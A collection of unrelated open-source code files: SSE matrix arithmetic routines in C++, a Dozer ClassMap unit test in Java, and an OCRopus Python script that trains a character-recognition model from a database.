to.M25() = A.M02() * A.M05() + A.M12() * A.M15() + to.M25();
to.M33() = A.M03() * A.M03() + A.M13() * A.M13() + to.M33();
to.M34() = A.M03() * A.M04() + A.M13() * A.M14() + to.M34();
to.M35() = A.M03() * A.M05() + A.M13() * A.M15() + to.M35();
to.M44() = A.M04() * A.M04() + A.M14() * A.M14() + to.M44();
to.M45() = A.M04() * A.M05() + A.M14() * A.M15() + to.M45();
to.M55() = A.M05() * A.M05() + A.M15() * A.M15() + to.M55();
work2[0] = ENFT_SSE::_mm_set1_ps(A.M06());
work2[1] = ENFT_SSE::_mm_set1_ps(A.M16());
to.M_60_61_62_63() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), work2[0]), ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), work2[1])), to.M_60_61_62_63());
work2[0] = ENFT_SSE::_mm_mul_ps(A.M_04_05_14_15(), ENFT_SSE::_mm_movelh_ps(work2[0], work2[1]));
to.M64() = work2[0].m128_f32[0] + work2[0].m128_f32[2] + to.M64();
to.M65() = work2[0].m128_f32[1] + work2[0].m128_f32[3] + to.M65();
to.M66() = A.M06() * A.M06() + A.M16() * A.M16() + to.M66();
}
template<class MATRIX> inline void FinishAdditionATAToUpper(AlignedCompactMatrix7f &to);
template<> inline void FinishAdditionATAToUpper<AlignedCompactMatrix2x7f>(AlignedCompactMatrix7f &to)
{
to.M_06_16_26_36() = to.M_60_61_62_63();
to.M_46_56_x_x() = to.M_64_65_66_x();
}
template<class MATRIX_1, class MATRIX_2> inline void FinishAdditionATAToUpper(AlignedCompactMatrix7f &to);
inline void SetLowerFromUpper(AlignedCompactMatrix7f &M) { M.SetLowerFromUpper(); }
inline void GetDiagonal(const AlignedCompactMatrix7f &M, AlignedVector7f &d) { M.GetDiagonal(d); }
inline void SetDiagonal(const AlignedVector7f &d, AlignedCompactMatrix7f &M) { M.SetDiagonal(d); }
inline void ScaleDiagonal(const float &lambda, AlignedCompactMatrix7f &M) { M.ScaleDiagonal(lambda); }
inline void IncreaseDiagonal(const float &lambda, AlignedCompactMatrix7f &M) { M.IncreaseDiagonal(lambda); }
inline void AB(const AlignedCompactMatrix7f &A, const AlignedVector7f &B, AlignedVector7f &AB, ENFT_SSE::__m128 *work2)
{
#if _DEBUG
assert(B.reserve() == 0);
#endif
work2[0] = ENFT_SSE::_mm_movelh_ps(B.v456x(), B.v456x());
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_04_05_14_15(), work2[0]);
AB.v0() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M06() * B.v6();
AB.v1() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M16() * B.v6();
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_24_25_34_35(), work2[0]);
AB.v2() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_23(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M26() * B.v6();
AB.v3() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_33(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M36() * B.v6();
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_44_45_54_55(), work2[0]);
AB.v4() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_43(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M46() * B.v6();
AB.v5() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_53(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M56() * B.v6();
AB.v6() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_63(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_64_65_66_x(), B.v456x())));
}
inline void ABmC(const AlignedCompactMatrix7f &A, const AlignedVector7f &B, const AlignedVector7f &C, AlignedVector7f &ABmC, ENFT_SSE::__m128 *work2)
{
#if _DEBUG
assert(B.reserve() == 0);
#endif
work2[0] = ENFT_SSE::_mm_movelh_ps(B.v456x(), B.v456x());
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_04_05_14_15(), work2[0]);
ABmC.v0() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M06() * B.v6() - C.v0();
ABmC.v1() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M16() * B.v6() - C.v1();
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_24_25_34_35(), work2[0]);
ABmC.v2() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_23(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M26() * B.v6() - C.v2();
ABmC.v3() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_33(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M36() * B.v6() - C.v3();
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_44_45_54_55(), work2[0]);
ABmC.v4() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_43(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M46() * B.v6() - C.v4();
ABmC.v5() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_53(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M56() * B.v6() - C.v5();
ABmC.v6() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_63(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_64_65_66_x(), B.v456x()))) - C.v6();
}
inline void AddABTo(const AlignedCompactMatrix7f &A, const AlignedVector7f &B, AlignedVector7f &to, ENFT_SSE::__m128 *work2)
{
#if _DEBUG
assert(B.reserve() == 0);
#endif
work2[0] = ENFT_SSE::_mm_movelh_ps(B.v456x(), B.v456x());
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_04_05_14_15(), work2[0]);
to.v0() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M06() * B.v6() + to.v0();
to.v1() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M16() * B.v6() + to.v1();
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_24_25_34_35(), work2[0]);
to.v2() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_23(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M26() * B.v6() + to.v2();
to.v3() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_33(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M36() * B.v6() + to.v3();
work2[1] = ENFT_SSE::_mm_mul_ps(A.M_44_45_54_55(), work2[0]);
to.v4() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_43(), B.v0123())) + work2[1].m128_f32[0] + work2[1].m128_f32[1] + A.M46() * B.v6() + to.v4();
to.v5() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_53(), B.v0123())) + work2[1].m128_f32[2] + work2[1].m128_f32[3] + A.M56() * B.v6() + to.v5();
to.v6() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_63(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_64_65_66_x(), B.v456x()))) + to.v6();
}
inline void AddATBTo(const AlignedCompactMatrix7f &A, const AlignedVector7f &B, AlignedVector7f &to, ENFT_SSE::__m128 *work2)
{
work2[0] = ENFT_SSE::_mm_set1_ps(B.v0());
work2[1] = ENFT_SSE::_mm_set1_ps(B.v1());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), work2[0]), ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), work2[1])), to.v0123());
work2[0] = ENFT_SSE::_mm_mul_ps(A.M_04_05_14_15(), ENFT_SSE::_mm_movelh_ps(work2[0], work2[1]));
to.v4() = work2[0].m128_f32[0] + work2[0].m128_f32[2] + to.v4();
to.v5() = work2[0].m128_f32[1] + work2[0].m128_f32[3] + to.v5();
work2[0] = ENFT_SSE::_mm_set1_ps(B.v2());
work2[1] = ENFT_SSE::_mm_set1_ps(B.v3());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_23(), work2[0]), ENFT_SSE::_mm_mul_ps(A.M_30_31_32_33(), work2[1])), to.v0123());
work2[0] = ENFT_SSE::_mm_mul_ps(A.M_24_25_34_35(), ENFT_SSE::_mm_movelh_ps(work2[0], work2[1]));
to.v4() = work2[0].m128_f32[0] + work2[0].m128_f32[2] + to.v4();
to.v5() = work2[0].m128_f32[1] + work2[0].m128_f32[3] + to.v5();
work2[0] = ENFT_SSE::_mm_set1_ps(B.v4());
work2[1] = ENFT_SSE::_mm_set1_ps(B.v5());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_43(), work2[0]), ENFT_SSE::_mm_mul_ps(A.M_50_51_52_53(), work2[1])), to.v0123());
work2[0] = ENFT_SSE::_mm_mul_ps(A.M_44_45_54_55(), ENFT_SSE::_mm_movelh_ps(work2[0], work2[1]));
to.v4() = work2[0].m128_f32[0] + work2[0].m128_f32[2] + to.v4();
to.v5() = work2[0].m128_f32[1] + work2[0].m128_f32[3] + to.v5();
work2[0] = ENFT_SSE::_mm_set1_ps(B.v6());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_63(), work2[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_64_65_66_x (), work2[0]), to.v456x());
to.v6() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_mul_ps(A.M_06_16_26_36(), B.v0123())) + A.M46() * B.v4() + A.M56() * B.v5() + to.v6();
}
inline void SubtractATBFrom(const AlignedMatrix3x7f &A, const AlignedMatrix3x7f &B, AlignedCompactMatrix7f &from, ENFT_SSE::__m128 *work3)
{
work3[0] = ENFT_SSE::_mm_set1_ps(A.M00());
work3[1] = ENFT_SSE::_mm_set1_ps(A.M10());
work3[2] = ENFT_SSE::_mm_set1_ps(A.M20());
from.M_00_01_02_03() = ENFT_SSE::_mm_sub_ps(from.M_00_01_02_03(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
work3[0] = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x()));
from.M04() -= work3[0].m128_f32[0];
from.M05() -= work3[0].m128_f32[1];
from.M06() -= work3[0].m128_f32[2];
work3[0] = ENFT_SSE::_mm_set1_ps(A.M01());
work3[1] = ENFT_SSE::_mm_set1_ps(A.M11());
work3[2] = ENFT_SSE::_mm_set1_ps(A.M21());
from.M_10_11_12_13() = ENFT_SSE::_mm_sub_ps(from.M_10_11_12_13(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
work3[0] = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x()));
from.M14() -= work3[0].m128_f32[0];
from.M15() -= work3[0].m128_f32[1];
from.M16() -= work3[0].m128_f32[2];
work3[0] = ENFT_SSE::_mm_set1_ps(A.M02());
work3[1] = ENFT_SSE::_mm_set1_ps(A.M12());
work3[2] = ENFT_SSE::_mm_set1_ps(A.M22());
from.M_20_21_22_23() = ENFT_SSE::_mm_sub_ps(from.M_20_21_22_23(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
work3[0] = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x()));
from.M24() -= work3[0].m128_f32[0];
from.M25() -= work3[0].m128_f32[1];
from.M26() -= work3[0].m128_f32[2];
work3[0] = ENFT_SSE::_mm_set1_ps(A.M03());
work3[1] = ENFT_SSE::_mm_set1_ps(A.M13());
work3[2] = ENFT_SSE::_mm_set1_ps(A.M23());
from.M_30_31_32_33() = ENFT_SSE::_mm_sub_ps(from.M_30_31_32_33(), ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
work3[0] = ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x()));
from.M34() -= work3[0].m128_f32[0];
from.M35() -= work3[0].m128_f32[1];
from.M36() -= work3[0].m128_f32[2];
work3[0] = _mm_set1_ps(A.M04());
work3[1] = _mm_set1_ps(A.M14());
work3[2] = _mm_set1_ps(A.M24());
from.M_40_41_42_43() = ENFT_SSE::_mm_sub_ps(from.M_40_41_42_43(), ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
work3[0] = ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x()));
from.M44() -= work3[0].m128_f32[0];
from.M45() -= work3[0].m128_f32[1];
from.M46() -= work3[0].m128_f32[2];
work3[0] = _mm_set1_ps(A.M05());
work3[1] = _mm_set1_ps(A.M15());
work3[2] = _mm_set1_ps(A.M25());
from.M_50_51_52_53() = ENFT_SSE::_mm_sub_ps(from.M_50_51_52_53(), ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
work3[0] = ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x()));
from.M54() -= work3[0].m128_f32[0];
from.M55() -= work3[0].m128_f32[1];
from.M56() -= work3[0].m128_f32[2];
work3[0] = _mm_set1_ps(A.M06());
work3[1] = _mm_set1_ps(A.M16());
work3[2] = _mm_set1_ps(A.M26());
from.M_60_61_62_63() = ENFT_SSE::_mm_sub_ps(from.M_60_61_62_63(), ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
work3[0] = ENFT_SSE::_mm_add_ps(_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x()));
from.M64() -= work3[0].m128_f32[0];
from.M65() -= work3[0].m128_f32[1];
from.M66() -= work3[0].m128_f32[2];
}
bool InvertSymmetricUpper(AlignedCompactMatrix7f &A, float *work49);
bool InvertSymmetricUpper(const AlignedCompactMatrix7f &A, AlignedCompactMatrix7f &Ainv, float *work49);
}
#endif
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2005-2019 Dozer Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.github.dozermapper.core.classmap;
import java.util.ArrayList;
import java.util.List;
import com.github.dozermapper.core.AbstractDozerTest;
import com.github.dozermapper.core.config.BeanContainer;
import com.github.dozermapper.core.factory.DestBeanCreator;
import com.github.dozermapper.core.fieldmap.FieldMap;
import com.github.dozermapper.core.fieldmap.GenericFieldMap;
import com.github.dozermapper.core.propertydescriptor.PropertyDescriptorFactory;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
public class ClassMapTest extends AbstractDozerTest {
private ClassMap classMap;
private BeanContainer beanContainer;
private DestBeanCreator destBeanCreator;
private PropertyDescriptorFactory propertyDescriptorFactory;
@Override
@Before
public void setUp() throws Exception {
Configuration globalConfiguration = new Configuration();
classMap = new ClassMap(globalConfiguration);
beanContainer = new BeanContainer();
destBeanCreator = new DestBeanCreator(beanContainer);
propertyDescriptorFactory = new PropertyDescriptorFactory();
}
@Test
public void testAddFieldMappings() {
ClassMap cm = new ClassMap(null);
GenericFieldMap fm = new GenericFieldMap(cm, beanContainer, destBeanCreator, propertyDescriptorFactory);
cm.addFieldMapping(fm);
assertNotNull(cm.getFieldMaps());
assertTrue(cm.getFieldMaps().size() == 1);
assertEquals(cm.getFieldMaps().get(0), fm);
}
@Test
public void testSetFieldMappings() {
ClassMap cm = new ClassMap(null);
GenericFieldMap fm = new GenericFieldMap(cm, beanContainer, destBeanCreator, propertyDescriptorFactory);
List<FieldMap> fmList = new ArrayList<>();
fmList.add(fm);
cm.setFieldMaps(fmList);
assertNotNull(cm.getFieldMaps());
assertTrue(cm.getFieldMaps().size() == fmList.size());
assertEquals(cm.getFieldMaps().get(0), fmList.get(0));
}
@Test
public void testGetFieldMapUsingDest() {
assertNull(classMap.getFieldMapUsingDest("", true));
}
@Test
public void testProvideAlternateName() {
assertEquals("field1", classMap.provideAlternateName("Field1"));
}
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/python
import sys,os,re,glob,math,glob,signal,traceback
import matplotlib
if "DISPLAY" not in os.environ: matplotlib.use("AGG")
else: matplotlib.use("GTK")
import random as pyrandom
from optparse import OptionParser
from pylab import *
from scipy.ndimage import interpolation,filters
import ocrolib
from ocrolib import docproc,Record,mlp,dbhelper
from scipy import stats
signal.signal(signal.SIGINT,lambda *args:sys.exit(1))
parser = OptionParser(usage="""
%prog [options] -o output.cmodel input.db ...
Trains models based on a cluster database.
For faster speed and better memory usage, use the "-b" option, which buffers
samples in a 1bpp buffer (only binary input patterns); however, this only works
with binary inputs and feature extractors that generate (approximately) binary
data. For example, it works for binary character images and ScaledExtractor, but not
if you use grayscale character images or StandardExtractor.
If you have lots of training data, try "-E ScaledFeatureExtractor -b", for handwriting
recognition, "-E StandardExtractor" is a better choice.
You can choose different kinds of feature extractors with the -E flag.
Some possible values are: ScaledExtractor (raw grayscale image rescaled to a target size)
and BiggestCcExtractor (biggest connected component only, otherwise treated like scaledfe).
You can find additional components by running "ocropus components" and looking for
implementors of IExtractor.
Common parameters for the model are:
-m '=ocrolib.mlp.AutoMlpModel()'
""")
parser.add_option("-o","--output",help="output model name",default=None)
parser.add_option("-m","--model",help="IModel name",default="ocrolib.mlp.AutoMlpModel()")
parser.add_option("-K","--nrounds",help="number of training rounds",type=int,default=48)
parser.add_option("-b","--bits",help="buffer training data with 1 bpp",action="store_true")
parser.add_option("-t","--table",help="database table to use for training",default="chars")
parser.add_option("-u","--unlabeled",help="treat unlabeled ('_') as reject",action="store_true")
parser.add_option("-v","--verbose",help="verbose",action="store_true")
parser.add_option("-E","--extractor",help="feature extractor",default="StandardExtractor")
parser.add_option("-N","--nvariants",help="number of variants to generate",default=0,type="int")
parser.add_option("-D","--distortion",help="maximum distortion",default=0.2,type="float")
parser.add_option("-d","--display",help="debug display",action="store_true")
parser.add_option("-Q","--maxthreads",help="max # of threads for training",type=int,default=4)
# different training modalities
parser.add_option("-g","--nogeometry",help="do not add geometric information",action="store_true")
parser.add_option("-r","--noreject",help="disable reject class",action="store_true")
parser.add_option("-1","--single",help="train only single chars, treat multiple as reject (combine with -r if you like)",action="store_true")
parser.add_option("-R","--rejectonly",help="only train reject/non-reject classifier",action="store_true")
parser.add_option("-L","--lengthpred",help="train a length predictor",action="store_true")
parser.add_option("-M","--multionly",help="only train multiple charactes",action="store_true")
# the following are for limiting training samples
parser.add_option("-n","--limit",help="limit total training to n samples",default=999999999,type="int")
parser.add_option("-T","--threshold",help="threshold for estimating ntrain (either a percentile or a class)",default="70")
parser.add_option("-F","--rejectfactor",help="multiple of per class ntrain",type=float,default=20.0)
(options,args) = parser.parse_args()
assert options.output is not None,"you must provide a -o flag"
if len(args)<1:
parser.print_help()
sys.exit(0)
mlp.maxthreads.value = options.maxthreads
mlp.maxthreads_train.value = options.maxthreads
# some utility functions we're going to need later
def pad(image,dx,dy,bgval=None):
"""Pad an image by the given amounts in the x and y directions.
If bgval is not given, the minimum of the input image is used."""
if bgval is None: bgval = amin(image)
h,w = image.shape
result = zeros((h+2*dx,w+2*dy))
result[:,:] = bgval
result[dx:-dx,dy:-dy] = image
return result
def distort(image,sx,sy,sigma=10.0):
"""Distort the image by generating smoothed noise for the
x and y displacement vectors. The displacement amounts sx and
sy are in terms of fractions of the image width and height.
Image should be an narray."""
h0,w0 = image.shape
my = sy*h0
mx = sx*w0
image = pad(image,int(my+1),int(mx+1))
h,w = image.shape
dy = filters.gaussian_filter(rand(*image.shape)-0.5,sigma)
dy *= my/amax(abs(dy))
dx = filters.gaussian_filter(rand(*image.shape)-0.5,sigma)
dx *= mx/amax(abs(dx))
dy += arange(h)[:,newaxis]
dx += arange(w)[newaxis,:]
distorted = interpolation.map_coordinates(image,array([dy,dx]),order=1)
# print amax(abs(dy)),amax(abs(dx)),amax(abs(distorted-image))
return distorted
# unlabeled-as-reject implies that we train reject classes
if options.unlabeled: options.noreject = False
if len(args)<1:
print "must specify at least one character database as argument"
sys.exit(1)
output = options.output
if output is None:
output= os.path.splitext(args[0])[0]+".cmodel"
print "output to",output
if os.path.exists(output):
print output,"already exists"
sys.exit(1)
if not ".cmodel" in output and not ".pymodel" in output:
print "output",output,"should end in .cmodel or .pymodel"
sys.exit(1)
# create a Python window if requested
if options.display:
ion()
show()
# initialize the C++ debugging graphics (just in case it's needed for
# debugging the native code feature extractors)
classifier = ocrolib.make_IModel(options.model)
print "classifier",classifier
# little utility function for displaying character training progress window
fig = 0
def show_char(image,cls):
"""Display the character in a grid, wrapping around every now and then.
Used for showing progress in loading the training characters."""
global fig
r = 4
if fig%r**2==0: clf(); gray()
subplot(r,r,fig%r**2+1)
fig += 1
imshow(image/255.0)
text(3,3,str(cls),color="red",fontsize=14)
draw()
ginput(1,timeout=0.1)
print "training..."
count = 0
nchar = 0
skip0 = 0
skip3 = 0
nreject = 0
def iterate_db(arg):
print "===",arg,"==="
class Counter(dict):
def __getitem__(self,index):
return self.setdefault(index,0)
totals = Counter()
actual = Counter()
for arg in args:
if not os.path.exists(arg):
print ""+arg+": not found"
sys.exit(1)
for arg in args:
print "===",arg
db = dbhelper.chardb(arg,options.table)
print "total",db.execute("select count(*) from chars").next()[0]
print "# determining per-class cutoff"
classes = [tuple(x) for x in db.execute("select cls,count(*) from chars group by cls")]
assert len(classes)>=2,"too few classes in database; got %s"%classes
counts= array([x[1] for x in classes],'f')
threshold = options.threshold
if re.match(r'[0-9][0-9.]+',threshold):
threshold = float(threshold)
assert len(counts)>1
assert threshold>=0 and threshold<=100
ntrain = int(stats.scoreatpercentile(counts,threshold))
else:
for k,v in classes:
if k==threshold:
ntrain = v
break
if ntrain is None:
print "class not found:",threshold
print "classes",len(counts),"stats",amin(counts),median(counts),mean(counts),amax(counts),"ntrain",ntrain
print "# sampling the classes"
all_ids = []
for k,v in classes:
ids = list(db.execute("select id from chars where cls=?",[k]))
ids = [x[0] for x in ids]
if k=="" or ord(k[0])<33: continue
if k=="_": continue
if k=="~": ntrain = int(ntrain*options.rejectfactor)
if len(ids)>ntrain: ids = pyrandom.sample(ids,ntrain)
print " %s:%d"%(k,len(ids)),; sys.stdout.flush()
all_ids += ids
print
counter = Counter()
print "# training",len(all_ids)
for id in all_ids:
c = db.execute("select image,cls,rel from chars where id=?",[id]).next()
cluster = Record(image=dbhelper.blob2image(c.image),cls=c.cls,rel=c.rel)
# check whether we already have enough characters
if count>options.limit:
break
cls = cluster.cls
if cls is None:
cls = "_"
counter[cls] += 1
totals[cls] += 1
# empty strings have no class at all, so we skip them
if len(cls)==0:
skip0 += 1
continue
# can't train transcriptions longer than three characters
if len(cls)>3:
skip3 += 1
continue
# if the user requested only single character training, skip multi-character transcriptions
if options.single and len(cls)>1: continue
# if the user requested it, treat unlabeled samples ("_") as reject classes
if options.unlabeled and cls=="_": cls = "~"
# if the user didn't want reject training, skip all reject classes
if options.noreject and cls=="~": continue
# skip any remaining unlabeled samples
if cls=="_": continue
if cls=="~": nreject += 1
# count the actually trained samples
actual[cls] += 1
geometry=None
if not options.nogeometry:
if cluster.rel is None or len(cluster.rel)<2:
print "training with geometry requested, but",arg,"lacks geometry information"
print "use the -g flag to turn off training with geometry"
sys.exit(1)
geometry = docproc.rel_geo_normalize(cluster.rel)
# add the image to the classifier
image = cluster.image/255.0
if options.display and nchar%1000==0: show_char(image,cls)
if min(image.shape)<3: continue
if amax(image)==amin(image): continue
if geometry is not None:
classifier.cadd(image,cls,geometry=geometry)
else:
classifier.cadd(image,cls)
count += 1
# if the user requested automatically generated variants,
# generate them and add them to the classifier as well
for i in range(options.nvariants):
if count>options.limit: break
sx = options.distortion
sy = options.distortion
distorted = distort(image,sx,sy)
if options.display and nchar%1000==0: show_char(distorted,cls)
try:
if geometry is not None:
classifier.cadd(image,cls,geometry=geometry)
else:
classifier.cadd(image,cls)
count += 1
except:
traceback.print_exc()
continue
nchar += 1
if nchar%10000==0: print "training",nchar,count
print
print "summary statistics:"
print sorted(list(actual.items()))
print
print "training",count,"variants representing",nchar,"training characters"
if skip0>0: print "skipped",skip0,"zero-length transcriptions"
if skip3>0: print "skipped",skip3,"transcriptions that were more than three characters long"
print
# provide some feedback about the training process
if options.verbose:
if "info" in dir(classifier):
classifier.info()
if "getExtractor" in dir(classifiers) and "info" in dir(classifier.getExtractor()):
classifier.getExtractor().info()
# now perform the actual training
# (usually, this is AutoMLP, a multi-threaded, long-running stochastic
# gradient descent training for a multi-layer perceptron)
print "starting classifier training"
round = 0
for progress in classifier.updateModel1(verbose=1):
print "ocropus-ctrain:",round,progress
modelbase,_ = os.path.splitext(options.output)
ocrolib.save_component("%s.%03d.cmodel"%(modelbase,round),classifier)
round += 1
if round>=options.nrounds: break
# provide some feedback about the training process
if options.verbose:
classifier.info()
# save the resulting model
print "saving",output
ocrolib.save_component(output,classifier)
| {
"pile_set_name": "Github"
} |
# This table scheme is intended to have these properties:
# 1. it has a secondary index on one column
# 2. the secondary index does not depend on one of columns
